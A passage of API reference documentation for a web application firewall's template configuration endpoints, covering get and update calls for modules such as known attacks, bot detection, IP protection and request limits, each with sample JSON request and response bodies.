00128 Windows Help File(.hlp)
00129 Windows Mobile Note(.pwi)
00130 Windows Registry Text(.reg)
00131 SQL Server 2000 Database(.mdf)
00132 Java Archive(.jar)
00133 Windows Printer Spool File(.shd)
00134 Windows Shortcut File(.lnk)
00135 Quark Express Document(.qxd)
00136 Windows MS Info File(.mof)
00137 Microsoft Access Database(.MDB)
00138 SPSS Data(.SAV)
00139 RedHat Package Manager file(.RPM)
00140 VMware Virtual Disk File(.vmdk)
00141 Adobe encapsulated PostScript file(.EPS)
00142 SPSS Data(.SAV)
00145 Lotus 1-2-3 spreadsheet(.WK)
00146 SkinCrafter skin file(.skf)
00147 Nero CD Compilation(.NRI)
00148 Microsoft Office Word(.doc)
00149 Microsoft Office Excel(.xls)
00150 Microsoft Office PowerPoint(.ppt)
00151 Hancom Office Hanword(.hwp)
00152 PHP(.php)
00153 JSP(.jsp)
00154 ASPX(.aspx)
00155 GIF(.gif)
00156 JPG(.jpg)
00157 BMP(.bmp)
00158 SPSS Data(.SAV)
00159 Windows Metafile Format(.wmf)
00160 Windows Icon(.icon)
00161 Microsoft Document Image(.mdi)
00162 Windows Enhanced Metafile(.emf)
00163 Photoshop Image File(.psd)
00164 JPEG-2000 Image File Format(.jp2)
00165 Multipage PCX Bitmap File(.dcx)(.SAV)
00166 SQL(.sql)

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (FileProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "av_scan": true, "custom_file_types": [{"file_extension": "xyz", "idx": 1, "match_rules": [{"concatenate_type": "AND", "data_type": "string", "data_value": "lwtf_type", "idx": 1, "offset": 0, "offset_from": "beginning", "operation": "search" }, {"concatenate_type": "OR", "data_type": "string", "data_value": "test", "idx": 2, "offset": 0, "offset_from": "end_of_last_match", "operation": "equal" }, {"concatenate_type": "AND", "data_type": "hex_array", "data_value": "1234567890abcdef", "idx": 3, "offset": 0, "offset_from": "beginning", "operation": "search" } ], "name": "custom_type_name" } ], "file_action": "Allow", "file_size": 1024, "file_types": [{"idx": 1, "tid": "00001", "type": "GIF" }, {"idx": 2, "tid": "00059", "type": "XPS" } ], "json_file_support": false, "json_key_field": null, "json_key_for_filename": null, "sandbox": true, "status": true, "trojan": true, "url": "/1" }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export Geo IP Exception list

Export Geo IP Exception list of Template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "geo_ip_exception_list.csv" } }

Get Template GraphQL protection

Get the configuration of GraphQL protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "deny_no_log", "rule_list": [{"alias_batch_query": true, "alias_batch_query_number": 10, "array_batch_query": true, "array_batch_query_number": 10, "field_number": 64, "fragment": true, "graphql_data_size": 10, "idx": 1, "introspection": true, "name": "my-rule", "object_depth": 8, "request_url": "/foobar", "value_size": 256 } ], "status": true }, "template": false } }

Update Template GraphQL protection

Update the configuration of GraphQL protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (GraphQLProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "rule_list": [{"alias_batch_query": true, "alias_batch_query_number": 10, "array_batch_query": true, "array_batch_query_number": 10, "field_number": 64, "fragment": true, "graphql_data_size": 10, "introspection": true, "name": "my-rule", "object_depth": 8, "request_url": "/foobar", "value_size": 256 } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template HTTP Header Security

Get the configuration of HTTP header security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"content_security_policy": true, "header_value": "X", "referrer_policy": true, "referrer_policy_header_value": "strict-origin-when-cross-origin", "status": true, "x_content_type_options": true, "x_frame_options": true, "x_xss_protection": true }, "template": false } }

Update Template HTTP Header Security

Update the configuration of HTTP header security of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (HttpHeaderSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"content_security_policy": true, "header_value": "X", "referrer_policy": true, "referrer_policy_header_value": "strict-origin-when-cross-origin", "status": true, "x_content_type_options": true, "x_frame_options": true, "x_xss_protection": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Information Leakage

Get the configuration of information leakage of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "deny_erase_no_log", "cloak_error_pages": true, "erase_http_headers": true, "http_headers": ["a", "b" ], "personal_info": false, "server_info_disclose": true, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "080060001", "sig_name": "Server Information Disclosure", "url": {"status": true, "type": "string", "value": "/1" } } ], "status": true }, "template": false } }

Update Template Information Leakage

Update the configuration of information leakage of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (InformationLeakage)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "deny_erase_no_log", "cloak_error_pages": true, "erase_http_headers": true, "http_headers": ["a", "b" ], "personal_info": false, "server_info_disclose": true, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "080060001", "sig_name": "Server Information Disclosure", "url": {"status": true, "type": "string", "value": "/1" } } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template IP Protection

Get the configuration of IP protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"block_country_list": ["Afghanistan", "Bahamas" ], "geo_ip_mode": "block", "ip_list": [{"idx": 1, "ip": "1.1.1.1", "type": "trust-ip" }, {"idx": 2, "ip": "2.2.2.2", "type": "block-ip" }, {"idx": 3, "ip": "3.3.3.3", "type": "allow-only-ip" } ], "ip_reputation": true, "status": true }, "template": false } }

Update Template IP Protection

Update the configuration of IP protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (IPProtectionPut)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"block_country_list": ["Afghanistan", "Bahamas" ], "geo_ip_mode": "block", "ip_list": [{"ip": "1.1.1.1", "type": "trust-ip" }, {"ip": "2.2.2.2", "type": "block-ip" }, {"ip": "3.3.3.3", "type": "allow-only-ip" } ], "ip_reputation": true, "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Export IP Protection list

Export IP Protection list of Template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"content": "encoding data", "file_name": "protection_ip_list.csv" } }

Get Template JSON Protection

Get the configuration of JSON protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "bucket": "bucket-name", "file_list": [{"filename": "json_schema.json", "idx": 1, "limit_check": true, "md5": "e1353ba1774557f39668087564da3812", "name": "test_rule1", "schema_valid": true, "url": "/1" } ], "prefix": "2512018171/37", "status": true }, "template": false } }

Update Template JSON Protection

Update the configuration of JSON protection of the template.

The data format in the request is multipart/form-data. Refer to the Request body for more detail information

The keywords of the form are template_status, _status, action, jsonsecuritypolicy.

The keyword format of the uploaded file is: the prefix file_ + the name of each rule, for example, file_test1.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (JsonProtection)
template required	boolean Enum: true false Enable to inherit configuration from template
property name* additional property	any

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "file_list": [{"filename": "json_schema.json", "idx": 1, "limit_check": true, "name": "test_rule1", "schema_valid": true, "url": "/1" } ], "status": true }, "file_test_rule1": "{binary}", "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Known Attacks

Get the configuration of known attacks of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "arithmetic_sql_inject": true, "condition_sql_inject": true, "cross_site_script": true, "cross_site_script_ext": false, "embed_sql_inject": true, "generic_attacks": true, "generic_attacks_ext": false, "html_attr_xss_inject": true, "html_css_xss_inject": true, "html_tag_xss_inject": true, "js_func_xss_inject": true, "js_var_xss_inject": true, "known_exploits": true, "line_comments": true, "sensitivity_level": 1, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "030000010", "sig_name": "SQL Injection", "url": {"status": true, "type": "string", "value": "/1" } } ], "sql_func_inject": true, "sql_inject": true, "sql_inject_ext": false, "stack_sql_inject": true, "status": true, "stx_except_rules": [{"attack_cat": "SQL Injection (Syntax Based Detection)", "attack_name": "Embedded Queries SQL Injection", "cookie": {"status": false, "type": "string", "value": "1" }, "idx": 1, "param": {"status": true, "type": "regex", "value": "1" }, "url": {"status": true, "type": "string", "value": "/1" } } ], "trojans": true }, "template": false } }

Update Template Known Attacks

Update the configuration of known attacks of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (KnownAttacks)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "arithmetic_sql_inject": true, "condition_sql_inject": true, "cross_site_script": true, "cross_site_script_ext": false, "embed_sql_inject": true, "generic_attacks": true, "generic_attacks_ext": false, "html_attr_xss_inject": true, "html_css_xss_inject": true, "html_tag_xss_inject": true, "js_func_xss_inject": true, "js_var_xss_inject": true, "known_exploits": true, "line_comments": true, "sensitivity_level": 1, "sig_except_rules": [{"cookie": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "b" }, "host": {"status": true, "type": "string", "value": "www.example.com:1234" }, "http_header": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "d" }, "idx": 1, "json": {"check_status": false, "check_value": "", "status": true, "type": "string", "value": "c" }, "param": {"check_status": false, "check_value": "", "status": true, "type": "regex", "value": "a" }, "sig_id": "030000010", "sig_name": "SQL Injection", "url": {"status": true, "type": "string", "value": "/1" } } ], "sql_func_inject": true, "sql_inject": true, "sql_inject_ext": false, "stack_sql_inject": true, "status": true, "stx_except_rules": [{"attack_cat": "SQL Injection (Syntax Based Detection)", "attack_name": "Embedded Queries SQL Injection", "cookie": {"status": false, "type": "string", "value": "1" }, "idx": 1, "param": {"status": true, "type": "regex", "value": "1" }, "url": {"status": true, "type": "string", "value": "/1" } } ], "trojans": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Known Bots

Get the configuration of known bots of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"bad_bots": true, "bad_bots_action": "block_period", "bad_bots_list": [{"allow_list": ["AB" ], "cat": "DoS", "status": true }, {"allow_list": ["Adsarobot" ], "cat": "Spam", "status": true }, {"allow_list": ["AskPartnerCobranding" ], "cat": "Trojan", "status": true }, {"allow_list": ["Absinthe" ], "cat": "Scanner", "status": true }, {"allow_list": ["AhrefsBot" ], "cat": "Crawler", "status": true } ], "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "good_bots_action": "bypass", "good_bots_list": [{"cat": "Known Search Engines", "deny_list": ["Ask" ], "status": true } ], "status": true }, "template": false } }

Update Template Known Bots

Update the configuration of known bots of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (KnownBots)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"bad_bots": true, "bad_bots_action": "block_period", "bad_bots_list": [{"allow_list": ["AB" ], "cat": "DoS", "status": true }, {"allow_list": ["Adsarobot" ], "cat": "Spam", "status": true }, {"allow_list": ["AskPartnerCobranding" ], "cat": "Trojan", "status": true }, {"allow_list": ["Absinthe" ], "cat": "Scanner", "status": true }, {"allow_list": ["AhrefsBot" ], "cat": "Crawler", "status": true } ], "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "good_bots_action": "bypass", "good_bots_list": [{"cat": "Known Search Engines", "deny_list": ["Ask" ], "status": true } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template MITB Protection

Get the configuration of MITB protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "domain_list": [{"domain": "https://maps.googleapis.com", "idx": 1 }, {"domain": "https://www.googletagmanager.com", "idx": 2 }, {"domain": "https://www.google-analytics.com", "idx": 3 } ], "param_list": [{"anti_key_logger": false, "encrypt": false, "idx": 1, "name": "a", "obfuscate": true, "type": "regular-input" } ], "post_url": "/2", "request_url": "/1", "status": true }, "template": false } }

Update Template MITB Protection

Update the configuration of MITB protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (MITBProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "domain_list": [{"domain": "https://maps.googleapis.com", "idx": 1 }, {"domain": "https://www.googletagmanager.com", "idx": 2 }, {"domain": "https://www.google-analytics.com", "idx": 3 } ], "param_list": [{"anti_key_logger": false, "encrypt": false, "idx": 1, "name": "a", "obfuscate": true, "type": "regular-input" } ], "post_url": "/2", "request_url": "/1", "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template ML Based API Protection

Get the configuration of ML baased API protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "ip_list_type": "Block", "path_list": [{"idx": 1, "pattern": "/1", "type": "plain" } ], "status": true }, "template": false } }

Update Template ML Based API Protection

Update the configuration of ML baased API protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (MlApiProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "ip_list_type": "Block", "path_list": [{"idx": 1, "pattern": "/1", "type": "plain" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Machine Learning Bot Detection

Get the configuration of machine learning bot detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "block_period", "anomaly_count": 1, "block_duration": 600, "challenge": "Real-Browser-Enforcement", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "identification_method": "IP-and-User-Agent", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "model_type": "Strict", "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false } }

Update Template Machine Learning Bot Detection

Update the configuration of machine learning bot detection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (MLBotDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "block_period", "anomaly_count": 1, "block_duration": 600, "challenge": "Real-Browser-Enforcement", "exception_list": [{"concatenate-type": "AND", "idx": 1, "match-target": "COOKIE", "operator": "REGEXP_MATCH", "value": "cookie_value", "value-check": true, "value-name": "cookie_name" } ], "identification_method": "IP-and-User-Agent", "ip_list": [{"idx": 1, "ip": "1.1.1.1" } ], "model_type": "Strict", "status": true, "url_list": [{"idx": 1, "url": "/1" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Mobile API Protection

Get the configuration of mobile API protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "status": true, "token_header": "Jwt-Token", "token_secret": "test_token", "url_list": [{"idx": 1, "url": "/url1" }, {"idx": 2, "url": "/url2" } ] }, "template": false } }

Update Template Mobile API Protection

Update the configuration of mobile API protection of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (MobileAPIProtection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "status": true, "token_header": "Jwt-Token", "token_secret": "test_token", "url_list": [{"idx": 1, "url": "/url1" }, {"idx": 2, "url": "/url2" } ] }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Modules

Get all modues' status of the user's template. A sample response body conforms to the following JSON schema:

id: The ID of the module

status: If the module is enabled or disabled
[ { "id": "knownattacks", "status": "disable" }, ]
Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200

Content type
application/json

[{"id": "known_attacks", "status": "disable" }, {"id": "anomaly_detection", "status": "disable" }, {"id": "information_leakage", "status": "disable" }, {"id": "cookie_security", "status": "disable" }, {"id": "file_protection", "status": "disable" }, {"id": "parameter_validation", "status": "disable" }, {"id": "http_header_security", "status": "enable" }, {"id": "csrf_protection", "status": "enable" }, {"id": "mitb_protection", "status": "enable" }, {"id": "request_limits", "status": "enable" }, {"id": "url_access", "status": "enable" }, {"id": "ip_protection", "status": "disable" }, {"id": "known_bots", "status": "disable" }, {"id": "threshold_detection", "status": "disable" }, {"id": "ml_bot_detection", "status": "enable" }, {"id": "biometrics_based_detection", "status": "enable" }, {"id": "bot_deception", "status": "enable" }, {"id": "ddos_prevention", "status": "enable" }, {"id": "custom_rule", "status": "disable" }, {"id": "web_socket_security", "status": "disable" }, {"id": "api_protection", "status": "disable" }, {"id": "api_gateway", "status": "enable" }, {"id": "mobile_api_protection", "status": "disable" }, {"id": "json_protection", "status": "disable" }, {"id": "xml_protection_policy", "status": "disable" }, {"id": "ml_api_protection", "status": "disable" }, {"id": "graphql_protection", "status": "disable" }, {"id": "account_takeover", "status": "disable" }, {"id": "rewriting_requests", "status": "disable" }, {"id": "caching_compression", "status": "disable" }, {"id": "global_trust_list_parameter", "status": "enable" }, {"id": "cors_protection", "status": "enable" }, {"id": "waiting_room", "status": "disable" }, {"id": "advanced_bot_protection", "status": "disable" } ]

Update Template Modules

Modify Modules configuration of the template. A sample request body conforms to the following JSON schema:

id: The ID of the module

status: If the module is enabled or disabled
[ { "id": "urlaccess", "status": "enable" }, ]
Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

Array

id

required

string

Enum: "known_attacks" "anomaly_detection" "information_leakage" "cookie_security" "file_protection" "parameter_validation" "http_header_security" "csrf_protection" "mitb_protection" "request_limits" "url_access" "ip_protection" "known_bots" "threshold_detection" "ml_bot_detection" "biometrics_based_detection" "bot_deception" "ddos_prevention" "custom_rule" "web_socket_security" "api_protection" "api_gateway" "mobile_api_protection" "json_protection" "xml_protection_policy" "ml_api_protection" "graphql_protection" "account_takeover" "rewriting_requests" "caching_compression" "global_trust_list_parameter" "cors_protection" "waiting_room" "advanced_bot_protection"

The ID of the module

status

required

string

Enum: "enable" "disable"

If the module is enabled or disabled

Responses

Request samples

Payload

Content type
application/json

[{"id": "known_attacks", "status": "disable" }, {"id": "anomaly_detection", "status": "disable" }, {"id": "information_leakage", "status": "disable" }, {"id": "cookie_security", "status": "disable" }, {"id": "file_protection", "status": "disable" }, {"id": "parameter_validation", "status": "disable" }, {"id": "http_header_security", "status": "enable" }, {"id": "csrf_protection", "status": "enable" }, {"id": "mitb_protection", "status": "enable" }, {"id": "request_limits", "status": "enable" }, {"id": "url_access", "status": "enable" }, {"id": "ip_protection", "status": "disable" }, {"id": "known_bots", "status": "disable" }, {"id": "threshold_detection", "status": "disable" }, {"id": "ml_bot_detection", "status": "enable" }, {"id": "biometrics_based_detection", "status": "enable" }, {"id": "bot_deception", "status": "enable" }, {"id": "ddos_prevention", "status": "enable" }, {"id": "custom_rule", "status": "disable" }, {"id": "web_socket_security", "status": "disable" }, {"id": "api_protection", "status": "disable" }, {"id": "api_gateway", "status": "enable" }, {"id": "mobile_api_protection", "status": "disable" }, {"id": "json_protection", "status": "disable" }, {"id": "xml_protection_policy", "status": "disable" }, {"id": "ml_api_protection", "status": "disable" }, {"id": "graphql_protection", "status": "disable" }, {"id": "account_takeover", "status": "disable" }, {"id": "rewriting_requests", "status": "disable" }, {"id": "caching_compression", "status": "disable" }, {"id": "global_trust_list_parameter", "status": "enable" }, {"id": "cors_protection", "status": "enable" }, {"id": "waiting_room", "status": "disable" }, {"id": "advanced_bot_protection", "status": "disable" } ]

Response samples

200
400

Content type
application/json

{"detail": "Module configuration changed successfully." }

Get Template Parameter Validation

Get the configuration of parameter validation of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"rule_list": [{"action": "alert", "block_period": 60, "idx": 1, "name": "1", "sub_rule_list": [{"arg_type": "data-type", "arg_val": "Email", "idx": 1, "max_len": 100, "name": "a", "required": true, "type_check": true }, {"arg_type": "regular-expression", "arg_val": "aaa", "idx": 2, "max_len": 50, "name": "b", "required": true, "type_check": true } ], "url": " /1" } ], "status": true }, "template": false } }

Update Template Parameter Validation

Update the configuration of parameter validation of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (ParameterValidation)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"rule_list": [{"action": "alert", "block_period": 60, "idx": 1, "name": "1", "sub_rule_list": [{"arg_type": "data-type", "arg_val": "Email", "idx": 1, "max_len": 100, "name": "a", "required": true, "type_check": true }, {"arg_type": "regular-expression", "arg_val": "aaa", "idx": 2, "max_len": 50, "name": "b", "required": true, "type_check": true } ], "url": " /1" } ], "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Template Request Limits

Get the configuration of request limits of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"allow_methods": ["get", "post", "head" ], "body_param_len": 8192, "chunk_size_check": false, "cl_te_coexist_check": false, "content_length_action": "alert_deny", "content_length_num": 0, "cookie_num": 128, "duplicate_param_check": true, "header_len": 8192, "header_line_num": 128, "header_name_len": 50, "header_value_len": 4096, "http2_max_req_action": "block_period", "http2_max_requests_check": true, "http2_max_requests_num": 1000, "http2_rst_action": "block_period", "http2_rst_stream_check": true, "http2_rst_stream_frq_check": true, "http2_rst_stream_frq_num": 20, "http2_rst_stream_num": 50, "http_header_action": "alert_deny", "http_param_action": "alert_deny", "http_req_action": "alert_deny", "http_req_len": 2048, "illegal_char_check": true, "illegal_cl_check": false, "illegal_ctype_check": false, "illegal_header_name_check": false, "illegal_header_value_check": false, "illegal_host_name_check": false, "illegal_http_req_method_check": false, "illegal_http_ver_check": false, "illegal_param_name_check": false, "illegal_param_value_check": false, "illegal_res_code_check": false, "inconsistent_cl_check": false, "malformed_req_check": false, "malformed_url_check": true, "max_http_body_length": 16384, "max_setting_current_streams_num": 1000, "max_setting_frame_size": 4194303, "max_setting_header_list_size": 65536, "max_setting_header_table_size": 65535, "max_setting_initial_window_size": 33554432, "multipart_formdata_bad_request_check": false, "null_char_check": true, "odd_and_even_space_attack_check": false, "others_action": "alert_deny", "param_name_check": false, "param_value_check": false, "post_req_ctype_check": false, "range_num": 5, "range_overlapping_check": false, "redundant_header_check": true, "req_filename_len": 2048, "rpc_protocol_check": false, "status": true, "url_param_len": 8192, "url_param_name_len": 4096, "url_param_num": 128, "url_param_value_len": 4096, "web_socket_protocol_check": false }, "template": false } }

Update Template Request Limits

Update the configuration of request limits of the template.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

template_id

required

string

Example: {{template_id}}

The template ID.

Request Body schema: application/json

required	object (RequestLimits)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

